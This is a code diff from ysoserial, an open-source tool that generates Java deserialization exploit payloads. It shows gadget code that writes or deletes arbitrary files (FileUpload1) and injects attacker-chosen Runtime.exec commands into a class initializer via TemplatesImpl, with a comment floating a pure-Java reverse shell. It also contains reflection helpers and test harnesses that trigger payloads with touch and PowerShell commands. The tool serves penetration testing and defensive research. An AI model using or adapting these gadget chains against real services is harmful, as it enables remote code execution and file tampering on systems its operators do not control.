return writeOldJRE(parts[1], Base64.decodeBase64(parts[2]));
}
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
public void postSerializeRelease(DiskFileItem obj) throws Exception {
}
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(FileUpload1.class, args);
}
}
@@ -0,0 +1,47 @@
package ysoserial.payloads.annotation;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.AnnotatedElement;
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface Authors {
String FROHOFF = "frohoff";
String PWNTESTER = "pwntester";
String CSCHNEIDER4711 = "cschneider4711";
String MBECHLER = "mbechler";
String JACKOFMOSTTRADES = "JackOfMostTrades";
String MATTHIASKAISER = "matthias_kaiser";
String GEBL = "gebl";
String JACOBAINES = "jacob-baines";
String JASINNER = "jasinner";
String KULLRICH = "kai_ullrich";
String TINT0 = "_tint0";
String SCRISTALLI = "scristalli";
String HANYRAX = "hanyrax";
String EDOARDOVIGNATI = "EdoardoVignati";
String YKOSTER = "ykoster";
String MEIZJM3I = "meizjm3i";
String SCICCONE = "sciccone";
String ZEROTHOUGHTS = "zerothoughts";
String NAVALORENZO = "navalorenzo";
String JANG = "Jang";
String ARTSPLOIT = "artsploit";
String K4n5ha0 = "k4n5ha0";
String[] value() default {};
public static class Utils {
public static String[] getAuthors(AnnotatedElement annotated) {
Authors authors = annotated.getAnnotation(Authors.class);
if (authors != null && authors.value() != null) {
return authors.value();
} else {
return new String[0];
}
}
}
}
@@ -20,5 +20,14 @@ public @interface Dependencies {
return new String[0];
}
}
public static String[] getDependenciesSimple(AnnotatedElement annotated) {
String[] deps = getDependencies(annotated);
String[] simple = new String[deps.length];
for (int i = 0; i < simple.length; i++) {
simple[i] = deps[i].split(":", 2)[1];
}
return simple;
}
}
}
@@ -0,0 +1,19 @@
package ysoserial.payloads.annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
/**
* @author mbechler
*
*/
@Retention(RetentionPolicy.RUNTIME)
public @interface PayloadTest {
String skip() default "";
String precondition() default "";
String harness() default "";
String flaky() default "";
}
@@ -1,14 +1,18 @@
package ysoserial.payloads.util;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import com.nqzero.permit.Permit;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
@@ -21,80 +25,138 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/*
* utility generator functions for common jdk-only gadgets
*/
@SuppressWarnings("restriction")
@SuppressWarnings ( {
"restriction", "rawtypes", "unchecked"
} )
public class Gadgets {
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
// for RMI remote loading
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
final Class<?> ... ifaces) throws Exception {
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
public static Map<String,Object> createMap(final String key, final Object val) {
final Map<String,Object> map = new HashMap<String, Object>();
map.put(key,val);
public static Map<String, Object> createMap ( final String key, final Object val ) {
final Map<String, Object> map = new HashMap<String, Object>();
map.put(key, val);
return map;
}
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + escapeForJavaString(command) + "\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
public static String escapeForJavaString(String command) {
return command.replace("\\", "\\\\").replace("\"", "\\\"");
}
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
HashMap s = new HashMap();
Reflections.setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
Reflections.setAccessible(nodeCons);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}
@@ -0,0 +1,46 @@
package ysoserial.payloads.util;
/**
* @author mbechler
*
*/
public class JavaVersion {
public int major;
public int minor;
public int update;
public static JavaVersion getLocalVersion() {
String property = System.getProperties().getProperty("java.version");
if ( property == null ) {
return null;
}
JavaVersion v = new JavaVersion();
String parts[] = property.split("\\.|_|-");
int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix
v.major = Integer.parseInt(parts[start + 0]);
v.minor = Integer.parseInt(parts[start + 1]);
v.update = Integer.parseInt(parts[start + 2]);
return v;
}
public static boolean isAnnInvHUniversalMethodImpl() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
}
public static boolean isBadAttrValExcReadObj() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major > 8 && v.update >= 76);
}
public static boolean isAtLeast(int major) {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && v.major >= major;
}
}
@@ -2,11 +2,11 @@ package ysoserial.payloads.util;
import java.util.concurrent.Callable;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import static ysoserial.Deserializer.deserialize;
import static ysoserial.Serializer.serialize;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.secmgr.ExecCheckingSecurityManager;
/*
@@ -14,28 +14,59 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
*/
@SuppressWarnings("unused")
public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args) throws Exception {
return run(clazz, args, false);
}
public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args, boolean releasePostDeserialize) throws Exception {
// ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'");
final Object objBefore = clazz.newInstance().getObject(command);
final ObjectPayload<?> payload = clazz.newInstance();
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception {
final Object objBefore = payload.getObject(command);
System.out.println("serializing payload");
return Serializer.serialize(objBefore);
byte[] ser = Serializer.serialize(objBefore);
Utils.postSerializeRelease(payload, objBefore);
return ser;
}});
try {
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
T deserialize = (T) deserialize(serialized);
if (releasePostDeserialize) {
Utils.postDeserializeRelease(payload, deserialize);
}
return deserialize;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
private static String getDefaultTestCmd() {
return getFirstExistingFile(
"C:\\Windows\\System32\\calc.exe",
"/Applications/Calculator.app/Contents/MacOS/Calculator",
"/usr/bin/gnome-calculator",
"/usr/bin/kcalc"
);
}
private static String getFirstExistingFile(String ... files) {
return "calc.exe";
// for (String path : files) {
// if (new File(path).exists()) {
// return path;
// }
// }
// throw new UnsupportedOperationException("no known test executable");
}
}
@@ -1,33 +1,98 @@
package ysoserial.payloads.util;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.*;
import sun.reflect.ReflectionFactory;
import com.nqzero.permit.Permit;
@SuppressWarnings ( "restriction" )
public class Reflections {
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
try {
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
} catch (Exception e) {
e.printStackTrace();
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
public static void setFieldValue(Object obj, final String fieldName, final Object value) throws Exception {
Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
obj = obj instanceof Class ? null : obj;
final Field field = getField(clazz, fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
public static Object getFieldValue(Object obj, final String fieldName) throws Exception {
Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
obj = obj instanceof Class ? null : obj;
final Field field = getField(clazz, fieldName);
return field.get(obj);
}
public static Object getFieldValues(Object obj, final String ... fieldNames) throws Exception {
for (String fieldName : fieldNames) {
if (obj == null) {
throw new NullPointerException();
}
obj = getFieldValue(obj, fieldName);
}
return obj;
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
setAccessible(ctor);
return ctor;
}
public static Object newInstance(String className, Object ... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
}
@@ -4,6 +4,7 @@ import java.io.FileDescriptor;
import java.net.InetAddress;
import java.security.Permission;
@SuppressWarnings({"deprecation"})
public class DelegateSecurityManager extends SecurityManager {
private SecurityManager securityManager;
@@ -15,11 +16,42 @@ public class DelegateSecurityManager extends SecurityManager {
this.securityManager = securityManager;
}
@Override
//BEGIN fixes for JDK10+ compatibility
@SuppressWarnings({"deprecation"})
//@Override
public boolean getInCheck() {
return getSecurityManager().getInCheck();
//return getSecurityManager().getInCheck();
return false;
}
@SuppressWarnings({"deprecation"})
//@Override
public boolean checkTopLevelWindow(Object window) {
//return getSecurityManager().checkTopLevelWindow(window);
return true;
}
@SuppressWarnings({"deprecation"})
//@Override
public void checkSystemClipboardAccess() {
//getSecurityManager().checkSystemClipboardAccess();
}
@SuppressWarnings({"deprecation"})
//@Override
public void checkAwtEventQueueAccess() {
//getSecurityManager().checkAwtEventQueueAccess();
}
@SuppressWarnings({"deprecation"})
//@Override
public void checkMemberAccess(Class<?> clazz, int which) {
//getSecurityManager().checkMemberAccess(clazz, which);
}
//END fixes for JDK10+ compatibility
@Override
public Object getSecurityContext() {
return getSecurityManager().getSecurityContext();
@@ -47,136 +79,100 @@ public class DelegateSecurityManager extends SecurityManager {
@Override
public void checkAccess(ThreadGroup g) {
getSecurityManager().checkAccess(g);
}
@Override
public void checkExit(int status) {
getSecurityManager().checkExit(status);
}
@Override
public void checkExec(String cmd) {
getSecurityManager().checkExec(cmd);
}
@Override
public void checkLink(String lib) {
getSecurityManager().checkLink(lib);
}
@Override
public void checkRead(FileDescriptor fd) {
getSecurityManager().checkRead(fd);
}
@Override
public void checkRead(String file) {
getSecurityManager().checkRead(file);
}
@Override
public void checkRead(String file, Object context) {
getSecurityManager().checkRead(file, context);
}
@Override
public void checkWrite(FileDescriptor fd) {
getSecurityManager().checkWrite(fd);
}
@Override
public void checkWrite(String file) {
getSecurityManager().checkWrite(file);
}
@Override
public void checkDelete(String file) {
getSecurityManager().checkDelete(file);
}
@Override
public void checkConnect(String host, int port) {
getSecurityManager().checkConnect(host, port);
}
@Override
public void checkConnect(String host, int port, Object context) {
getSecurityManager().checkConnect(host, port, context);
}
@Override
public void checkListen(int port) {
getSecurityManager().checkListen(port);
}
@Override
public void checkAccept(String host, int port) {
getSecurityManager().checkAccept(host, port);
}
@Override
public void checkMulticast(InetAddress maddr) {
getSecurityManager().checkMulticast(maddr);
}
@SuppressWarnings({"deprecation"})
@Override
public void checkMulticast(InetAddress maddr, byte ttl) {
getSecurityManager().checkMulticast(maddr, ttl);
}
@Override
public void checkPropertiesAccess() {
getSecurityManager().checkPropertiesAccess();
}
@Override
public void checkPropertyAccess(String key) {
getSecurityManager().checkPropertyAccess(key);
}
@Override
public boolean checkTopLevelWindow(Object window) {
return getSecurityManager().checkTopLevelWindow(window);
}
@Override
public void checkPrintJobAccess() {
getSecurityManager().checkPrintJobAccess();
}
@Override
public void checkSystemClipboardAccess() {
getSecurityManager().checkSystemClipboardAccess();
}
@Override
public void checkAwtEventQueueAccess() {
getSecurityManager().checkAwtEventQueueAccess();
}
@Override
public void checkPackageAccess(String pkg) {
@@ -185,31 +181,21 @@ public class DelegateSecurityManager extends SecurityManager {
@Override
public void checkPackageDefinition(String pkg) {
getSecurityManager().checkPackageDefinition(pkg);
}
@Override
public void checkSetFactory() {
getSecurityManager().checkSetFactory();
}
@Override
public void checkMemberAccess(Class<?> clazz, int which) {
getSecurityManager().checkMemberAccess(clazz, which);
}
@Override
public void checkSecurityAccess(String target) {
getSecurityManager().checkSecurityAccess(target);
}
@Override
public ThreadGroup getThreadGroup() {
return getSecurityManager().getThreadGroup();
}
}
@@ -6,6 +6,7 @@ import java.util.LinkedList;
import java.util.List;
import java.util.concurrent.Callable;
// TODO per-thread secmgr
public class ExecCheckingSecurityManager extends SecurityManager {
public ExecCheckingSecurityManager() {
this(true);
@@ -41,7 +42,6 @@ public class ExecCheckingSecurityManager extends SecurityManager {
}
};
@SuppressWarnings("serial")
public static class ExecException extends RuntimeException {
private final String threadName = Thread.currentThread().getName();
@@ -56,8 +56,8 @@ public class ExecCheckingSecurityManager extends SecurityManager {
}
}
public void wrap(final Runnable runnable) throws Exception {
wrap(new Callable<Void>(){
public void callWrapped(final Runnable runnable) throws Exception {
callWrapped(new Callable<Void>(){
public Void call() throws Exception {
runnable.run();
return null;
@@ -65,7 +65,7 @@ public class ExecCheckingSecurityManager extends SecurityManager {
});
}
public <T> T wrap(final Callable<T> callable) throws Exception {
public <T> T callWrapped(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager(); // save sm
System.setSecurityManager(this);
try {
@@ -0,0 +1,21 @@
package ysoserial.secmgr;
import java.util.concurrent.Callable;
public class SecurityManagers {
public static <T> Callable<T> wrapped(final Callable<T> callable, final SecurityManager sm) throws Exception {
final SecurityManager orig = System.getSecurityManager(); // save sm
return new Callable<T>() {
@Override
public T call() throws Exception {
System.setSecurityManager(sm);
try {
return callable.call();
} finally {
System.setSecurityManager(orig); // restore sm
}
}
};
}
}
@@ -1,35 +0,0 @@
package ysoserial.secmgr;
import java.util.concurrent.Callable;
public class ThreadLocalSecurityManager extends DelegateSecurityManager {
private static final ThreadLocalSecurityManager INSTANCE
= new ThreadLocalSecurityManager();
private final ThreadLocal<SecurityManager> threadDelegates
= new ThreadLocal<SecurityManager>();
public void install() {
System.setSecurityManager(this);
}
@Override
public void setSecurityManager(SecurityManager threadManager) {
threadDelegates.set(threadManager);
}
@Override
public SecurityManager getSecurityManager() {
return threadDelegates.get();
}
public <V> V wrap(SecurityManager sm, Callable<V> callable) throws Exception {
SecurityManager old = getSecurityManager();
setSecurityManager(sm);
try {
return callable.call();
} finally {
setSecurityManager(old);
}
}
}
+1
View File
@@ -0,0 +1 @@
org.reflections.level=WARNING
+22
View File
@@ -0,0 +1,22 @@
package ysoserial;
import org.junit.Test;
import java.util.Map;
import java.util.TreeMap;
public class CiTest {
@Test
public void test() {
for (Map.Entry<Object,Object> e : new TreeMap<Object,Object>(System.getProperties()).entrySet()) {
System.out.println("System property " + e.getKey() + " : " + e.getValue());
}
for (Map.Entry<String,String> e : new TreeMap<String,String>(System.getenv()).entrySet()) {
System.out.println("System env " + e.getKey() + " : " + e.getValue());
}
}
public static void main(String[] args) {
new CiTest().test();
}
}
@@ -1,113 +0,0 @@
package ysoserial.payloads;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Arrays;
import java.util.Set;
import java.util.concurrent.Callable;
import org.hamcrest.CoreMatchers;
import org.jboss.shrinkwrap.resolver.api.maven.Maven;
import org.junit.Assert;
import org.junit.Rule;
import org.junit.Test;
import org.junit.contrib.java.lang.system.ProvideSecurityManager;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.Throwables;
import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.secmgr.ExecCheckingSecurityManager;
import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
/*
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws
* a special exception when an exec() attempt is made for more reliable detection; self-tests
* the harness for trivial pass and failure cases
TODO: figure out better way to test exception behavior than comparing messages
*/
@SuppressWarnings({"restriction", "unused", "unchecked"})
@RunWith(Parameterized.class)
public class PayloadsTest {
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
@Parameters(name = "payloadClass: {0}")
public static Class<? extends ObjectPayload<?>>[] payloads() {
Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
return payloadClasses.toArray(new Class[0]);
}
private final Class<? extends ObjectPayload<?>> payloadClass;
public PayloadsTest(Class<? extends ObjectPayload<?>> payloadClass) {
this.payloadClass = payloadClass;
}
@Test
public void testPayload() throws Exception {
testPayload(payloadClass, new Class[0]);
}
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class[] addlClassesForClassLoader) throws Exception {
final String command = "hostname";
final String[] deps = Dependencies.Utils.getDependencies(payloadClass);
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
final byte[] serialized = sm.wrap(new Callable<byte[]>(){
public byte[] call() throws Exception {
ObjectPayload<?> payload = payloadClass.newInstance();
final Object f = payload.getObject(command);
return Serializer.serialize(f);
}});
try {
Object deserialized = sm.wrap(new Callable<Object>(){
public Object call() throws Exception {
return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
}
});
Assert.fail(ASSERT_MESSAGE); // should never get here
} catch (Throwable e) {
// hopefully everything will reliably nest our ExecException
Throwable innerEx = Throwables.getInnermostCause(e);
Assert.assertEquals(ExecException.class, innerEx.getClass());
Assert.assertEquals(command, ((ExecException) innerEx).getCmd());
}
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
}
@SuppressWarnings({ "unchecked" })
private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies) throws Exception {
File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
URL[] urls = new URL[jars.length];
for (int i = 0; i < jars.length; i++) {
urls[i] = jars[i].toURI().toURL();
}
URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{
for (Class<?> clazz : classDependencies) {
byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
}
byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class);
defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
}};
Class<?> deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName());
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized);
final Object obj = deserializer.call();
return obj;
}
}
@@ -0,0 +1,13 @@
package ysoserial.test;
/**
* @author mbechler
*
*/
public interface CustomDeserializer {
Class<?> getCustomDeserializer ();
}
@@ -0,0 +1,13 @@
package ysoserial.test;
/**
* @author mbechler
*
*/
public interface CustomPayloadArgs {
String getPayloadArgs ();
}
@@ -0,0 +1,12 @@
package ysoserial.test;
import java.util.concurrent.Callable;
/**
* @author mbechler
*
*/
public interface CustomTest extends CustomPayloadArgs {
void run (Callable<Object> payload) throws Exception;
}
@@ -0,0 +1,13 @@
package ysoserial.test;
import java.util.concurrent.Callable;
/**
* @author mbechler
*
*/
public interface WrappedTest extends CustomPayloadArgs {
Callable<Object> createCallable ( Callable<Object> innerCallable );
}
@@ -1,4 +1,4 @@
package ysoserial.exploit;
package ysoserial.test.exploit;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
@@ -0,0 +1,43 @@
package ysoserial.test.payloads;
import org.junit.Assert;
import ysoserial.test.CustomTest;
import ysoserial.test.util.Files;
import ysoserial.test.util.OS;
import java.io.File;
import java.util.UUID;
import java.util.concurrent.Callable;
public class CommandExecTest implements CustomTest {
protected final File testFile =
new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
@Override
public void run(Callable<Object> payload) throws Exception {
Assert.assertFalse("test file should not exist", testFile.exists());
try {
payload.call();
} catch (Exception e) {
e.printStackTrace();
}
Files.waitForFile(testFile, 5000);
Assert.assertTrue("test file should exist", testFile.exists());
testFile.deleteOnExit();
}
@Override
public String getPayloadArgs() {
return getTouchCmd(testFile.toString());
}
public static String getTouchCmd(String file) {
switch (OS.get()) {
case OSX:
case LINUX: return "touch " + file;
case WINDOWS: return "powershell -command new-item -type file " + file;
default: throw new UnsupportedOperationException("unsupported os");
}
}
}
@@ -0,0 +1,54 @@
package ysoserial.test.payloads;
import org.junit.Assert;
import sun.security.util.SecurityConstants;
import ysoserial.payloads.URLDNS;
import ysoserial.secmgr.SecurityManagers;
import ysoserial.test.CustomTest;
import ysoserial.test.util.Randomized;
import ysoserial.test.util.RecordingNameService;
import ysoserial.test.util.RecordingSecurityManager;
import java.net.SocketPermission;
import java.security.Permission;
import java.util.LinkedList;
import java.util.List;
import java.util.concurrent.Callable;
public class DnsLookupTest implements CustomTest {
private final String testDomain = Randomized.randUUID();
@Override
public void run(Callable<Object> payload) throws Exception {
// RecordingSecurityManager sm = new RecordingSecurityManager();
RecordingNameService ns = new RecordingNameService();
// Assert.assertFalse("should not have resolved domain",
// sm.getChecks().contains(new SocketPermission(testDomain, SecurityConstants.SOCKET_RESOLVE_ACTION)));
Assert.assertFalse("should not have resolved domain", ns.getLookups().contains(testDomain));
try {
// SecurityManagers.wrapped(payload, sm).call();
ns.install();
payload.call();
} catch (Exception e) {
e.printStackTrace();
} finally {
ns.uninstall();
}
Assert.assertTrue("should have resolved domain", ns.getLookups().contains(testDomain));
// Assert.assertTrue("should have resolved domain",
// sm.getChecks().contains(new SocketPermission(testDomain, SecurityConstants.SOCKET_RESOLVE_ACTION)));
}
@Override
public String getPayloadArgs() {
return "http://" + testDomain;
}
public static void main(String[] args) throws Exception {
PayloadsTest.testPayload(URLDNS.class);
}
}
@@ -0,0 +1,40 @@
package ysoserial.test.payloads;
import org.junit.Assert;
import ysoserial.payloads.Scala;
import ysoserial.test.CustomTest;
import ysoserial.test.util.Files;
import ysoserial.test.util.OS;
import ysoserial.test.util.Randomized;
import java.io.File;
import java.util.concurrent.Callable;
public class EmptyFileWriteTest implements CustomTest {
private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Randomized.randUUID());
private final String testContent = Randomized.randUUID();
@Override
public void run(Callable<Object> payload) throws Exception {
